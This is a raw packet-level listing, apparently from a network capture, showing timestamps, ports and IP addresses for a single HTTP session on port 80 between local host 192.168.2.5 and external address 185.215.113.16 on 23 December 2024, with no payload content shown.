Dec 23, 2024 07:16:04.496737957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.496926069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.497210026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.497210026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.497469902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.497550011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.497564077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.497606039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.497780085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.497992039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.498374939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.498487949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.498500109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.498732090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.498739004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.498794079 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.499202967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.499327898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.499339104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.499420881 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.499547958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.499783993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.500082016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.500205040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.500216007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.500299931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.500425100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.500550985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.500941992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.501048088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.501060963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.501311064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.501338959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.501384020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.501830101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.501923084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.501935959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.502038956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.502182007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.502556086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.502708912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.502827883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.502835035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.503012896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.503046989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.503122091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.503575087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.503678083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.503691912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.503794909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.503902912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.503998995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.504503965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.504589081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.504602909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.504657030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.504780054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.505079985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.505331039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.505439043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.505454063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.505537033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.505667925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.506207943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.506299019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.506309986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.506396055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.506529093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.507107973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.507181883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.507194042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.507366896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.507366896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.507389069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.507947922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.508018017 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.508059978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.508070946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.508284092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.508470058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.508820057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.508894920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.508900881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.508912086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.509000063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.509166002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.509677887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.509792089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.509804010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.509808064 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.509850025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.510004044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.510565996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.510653973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.510668993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.510680914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.510721922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.510914087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.511686087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.511699915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.511713028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.511727095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.511854887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.511854887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.512305975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.512389898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.512402058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.512531042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.512608051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.513206005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.513267040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.513267994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.513281107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.513510942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.513564110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.513564110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.514045000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.514146090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.514158010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.514297009 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.514363050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.514424086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.514935017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.515033960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.515047073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.515081882 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.515242100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.515794039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.515887022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.515898943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.516124010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.516674042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.516783953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.516783953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.516783953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.516788006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.516799927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.516990900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.517256021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.517256975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.517539024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.517657995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.517669916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.517765999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.517890930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.518009901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.518460035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.518615007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.518626928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.518749952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.518873930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.519148111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.519287109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.519403934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.519419909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.519608974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.520149946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.520237923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.520250082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.520461082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.521027088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.521111012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.521122932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.521327972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.521374941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.521374941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.521374941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.521374941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.521374941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.521374941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.521898985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.521991014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.521995068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.522216082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.522797108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.522888899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.522907972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.523102045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.523674011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.523746014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.523756981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.523977995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.524032116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.524033070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.524033070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.524033070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.524033070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.524033070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.524535894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.524615049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.524626970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.524843931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.525391102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.525490046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.525501013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.525563002 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.525563002 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.525563002 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.525707960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.525885105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.526284933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.526356936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.526370049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.526592016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.526627064 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.526957035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.527149916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.527239084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.527250051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.527318954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.527472973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.527642012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.528012037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.528115034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.528127909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.528270960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.528335094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.528595924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.528877974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.528980970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.528991938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.529231071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.529267073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.529279947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.529752970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.529854059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.529865980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.529927969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.530093908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.530236006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.530659914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.530782938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.530793905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.530895948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.530986071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.531227112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.531491995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.531600952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.531613111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.531836987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.531877995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.531886101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.532387018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.532490969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.532501936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.532543898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.532700062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.532847881 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.533274889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.533360004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.533366919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.533509016 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.533567905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.533834934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.534122944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.534238100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.534250021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.534373045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.534431934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.534996986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.535087109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.535090923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.535310030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.535865068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.535960913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.535972118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.536186934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.536727905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.536777973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.536777973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.536777973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.536777973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.536777973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.536822081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.536834002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.537065029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.537559032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.537559032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.537609100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.537725925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.537738085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.537962914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.538505077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.538578987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.538589954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.538811922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.539349079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.539437056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.539448977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.539685965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.539730072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.539730072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.539730072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.539731026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.539731026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.539731026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.540214062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.540308952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.540319920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.540565014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.541115999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.541208982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.541560888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.541560888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.541560888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.548690081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.548788071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.548800945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.549007893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.549171925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.549185038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.549376965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.549561977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.549561977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.549561977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.553556919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.695230007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.695291042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.695533037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.695637941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.695657015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.695905924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.696346045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.696453094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.696765900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.697143078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.697254896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.697459936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.697968006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.698194981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.698362112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.698754072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.698862076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.698997021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.699548006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.699667931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.699867010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.700320005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.700448990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.700741053 CET	49739	80	192.168.2.5	185.215.113.16
